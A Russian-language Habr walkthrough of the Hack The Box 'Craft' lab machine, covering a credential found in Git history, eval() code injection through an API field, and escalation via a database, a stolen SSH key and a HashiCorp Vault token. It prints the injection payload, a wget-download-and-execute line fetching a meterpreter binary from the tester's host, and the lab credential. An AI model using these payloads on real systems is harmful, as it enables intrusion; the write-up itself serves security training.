python

Hack The Box — прохождение Craft. Копаемся в Git, эксплуатируем уязвимости в API, разбираемся с Vaul

  • вторник, 7 января 2020 г. в 00:21:57
https://habr.com/ru/post/482970/
  • Информационная безопасность
  • Python
  • Git
  • API
  • CTF


image

Данной статьей я начну публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Мы рассмотрим, как можно проэксплуатировать RCE в API, покопаемся в репозиториях Gogs, поработаем с базами данных и разберемся c системой хранения и кправления секретами Vault.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Разведка


Сканирование портов


Данная машиина имеет IP адрес 10.10.10.110, который я добавляю в /etc/hosts.
10.10.10.110 craft.htb
Первым делом сканируем открытые порты с помощью nmap, при том укаываем опцию -А, чтобы получить как можно больше информации об обнаруженных сервисах.
nmap -A craft.htb

image

На машине видим службу ssh, а также работающий на 443 порту веб-сервер. Если зайти на веб сервер, то нам предлагают посмотреть на API.

image

При попытке посмотреть API и git, нам говорят о неивестных сайтах.

image

Поэтому добавим оба доменных имени в /etc/hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb


Теперь обе ссылки открываеются. Craft API предположительно представляет собой интерфейс для работы с API, поэтому для начала нам нужно разабраться, как он работает, в чем нам поможет Gogs.

image

Точка входа


В git первым делом следует проверить коммиты.

image

Пройдя по коммитам, в 10e3ba4f0a найдем аутентификационные данные пользователя.

image

Авторизовавшись в gogs в переписки находим упоминание про баг.

image

Переходя по ссылке, обнаруживаем как происходит проверка в функции eval(), что очень опасно, так как в данной функции можно выполнить код.

image

Для проверки гипотезы, в локальной консоли python сделаем аналог функции, и попробуем вызвать функцию “system()” из модуля “os”.

image

Код успешно был выполнен! Теперь нужно написать эксплоит, чтобы получить бэкконнект. На первом этапе копируем код для аутентификации и получения токена.
#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

В данном коде наша нагрузка передается в параметре “abv”, пожтому для проверки предположения RCE заменяем строку ’15.0’ на "__import__('os').system('ping ваш_ip') ".

Открываем tcpdump, указывая какой интерфейс прослушивать и параметры фильтра только ICMP пакеты и запускаем эксплоит.

image

image

Наблюдаем, что мы смогли себя пинговать с удаленного хоста. Теперь кидаем бэкконект. Можно сделать через nc, но давайте получим meterpreter оболочку. Для этого генерируем нагрузку с помощью msfvenom. Указываем саму нагрузку (reverse_tcp), локальные хост и порт (LHOST, LPORT), и формат файла — elf.

image

Заодно включаем локальный веб-сервер. Теперь настроим листенер в msfconsole. Для этого устанавливаем параметры, как в нагрузке.

image

Мы прослушиваем входящие соединения, теперь нужно загрузить нагрузку на хост и запустить.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
В окне метасплоит видим входящее подключение.

image

USER


Давайте запустил шелл и посмотрим под кем мы работаем.

image

По выводу терминала можно предположить, что мы находимся внутри docker контейнера. Осмотримся на хосте.

image

Есть исполняемый файл dbtest.py. Следует его посмотреть.

image

Программа подключается к базе данных и выполнет команду с последующим выводом. Давайте осмотримся в базе данных. Для этого я запустил на хосте интерактивную консоль python и скопировал в нее весь код до выполнения команды.

image

Теперь запросим таблицы.

image

Как результат, нам вернули 2 записи. Так как cursor.fetchone() выводит одну запись, выполним два таких вывода.

image

Так мы получили 2 таблицы. Больше интересна user. Выводим все данные из этой таблицы.

image

И того в ней 3 записи.

image

И мы получаем креды пользователей. Попробовав их на ssh и потерпев неудачу пробуем зайти в git. И получается зайти под пользователем gilfoyle. И у него имеется закрытый репозиторий.

image

image

Очень интересна дирректория .ssh. Там лежит два ключа, и мы забираем приватный.

image

Пробуем подключиться по ssh с данным ключем.

image

ROOT


Первым делом осмотримся в дирректории пользователя.

image

Мы находим токен от vault.

image

Разобравшись с vault, скажу, что это система хранения и управления секретами, содержащее данные в формате ключ/значение, доступ к которым осуществляется за счет токена. Провери, настроено ли храниище.

image

Давайте глянем список секретов.

image

Таким образом видим, что настроен доступ к ssh.

image

Теперь вводим данный нам одноразовый пароль и мы в системе как root.

image

Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.